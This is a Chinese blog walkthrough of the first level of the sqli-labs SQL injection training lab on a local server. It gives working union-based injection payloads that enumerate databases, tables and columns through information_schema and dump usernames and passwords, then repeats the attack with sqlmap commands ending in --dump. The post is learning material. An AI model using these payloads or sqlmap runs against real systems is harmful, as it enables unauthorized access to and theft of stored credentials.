当前位置: 首页 > article >正文

sqli-labs(第一关)

前言:

各位,我准备最近把靶场练一下,看看别人的payload,跟着别人学一下怎么实战。我用的靶场是sqli-labs。

正文:

第一关:
(1)找注入点:
在这里插入图片描述
刚开始界面是这样的,然后题目说了,输入ID,那不出意外id应该就是注入点,试一下。

?id=1'
?id=1''

在这里插入图片描述
(2)没错了,差不多就是这个点,找列

?id=1' order by 3 --+

在这里插入图片描述
说明三列。(数字3试出来的,输入2报错,输入3不报错,输入4报错,说明是3列)
(3)查数据库名字

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

首先说一个问题,id为什么等于-1不等于1,是因为如果id=1 前半句就为真了因为数据库里真有id=1的数据,所以就会返回id=1的那一条数据,如果等于-1,则前半句为假,就会继续执行后半句,然后会返回给我们数据库的名字。
其次,这条语句查询的是我电脑里所有数据库的名字,每个人查询的结果肯定不同,但是肯定都有一个数据库security,这个数据库是我们靶场使用的数据库名字。
在这里插入图片描述

information_schema,
big_event,
books,
challenges,
db_dorm,
db_select_course,
db_weibo,
dvwa,
hrs,
jdbc,
mysql,
network,
performance_schema,
security,
sys,
test,
videoteach,
wifiremen.

(4)查数据库中的表的名字

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述

(5)查users表

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
(6)查users表中的值

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

在这里插入图片描述

下面用SQLMAP跑一遍:

(1)测注入点:

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1

在这里插入图片描述
(2)测数据库名

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 --dbs

在这里插入图片描述
(3)测表名

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security --tables

在这里插入图片描述
(4)测列名

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

在这里插入图片描述
(5)测数据:

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,password,username --dump

在这里插入图片描述

结束结束,完美简直。


http://www.kler.cn/a/382424.html

相关文章:

  • 双向链表及如何使用GLib的GList实现双向链表
  • .net为什么要在单独的项目中定义扩展方法?C#
  • 内网项目,maven本地仓库离线打包,解决Cannot access central in offline mode?
  • 直播系统搭建教程安装说明
  • 软考(中级-软件设计师)数据库篇(1101)
  • 中国雕塑、
  • 5G学习笔记三之物理层、数据链路层、RRC层协议
  • Flinksql 模拟 视图 监听
  • Python(PySimpleGUI 库)
  • gulp入门教程16:gulp插件gulp-uglify
  • 软件测试学习笔记丨Flask操作数据库-一对多
  • 电商行业企业员工培训的在线知识库构建
  • git常用操作指令
  • oasys系统代码审计
  • mmsegmentation训练自己的数据集
  • java语言基本编程原理
  • 5.Java 数组(一维数组、二维数组、数组实例实操)
  • ubuntu20安装opencv3.2记录
  • 洛谷P1090 [NOIP2004 提高组] 合并果子
  • Halcon 从XML中读取配置参数
  • 系统思考—深层结构
  • 《Ooga》进不去游戏解决方法
  • Java基础-组件及事件处理(下)
  • C语言程序的机器表示(逆向+函数调用栈详解版)
  • 情怀系列国际版棋牌完整源码具备强大的多语言扩展功能,涵盖了900多款子游戏,专为全球市场的游戏开发和运营设计。
  • 关于SwitchCase中变量定义及使用变量的一些注意事项参数传递参数时不能实现多态动态绑定的问题c++语法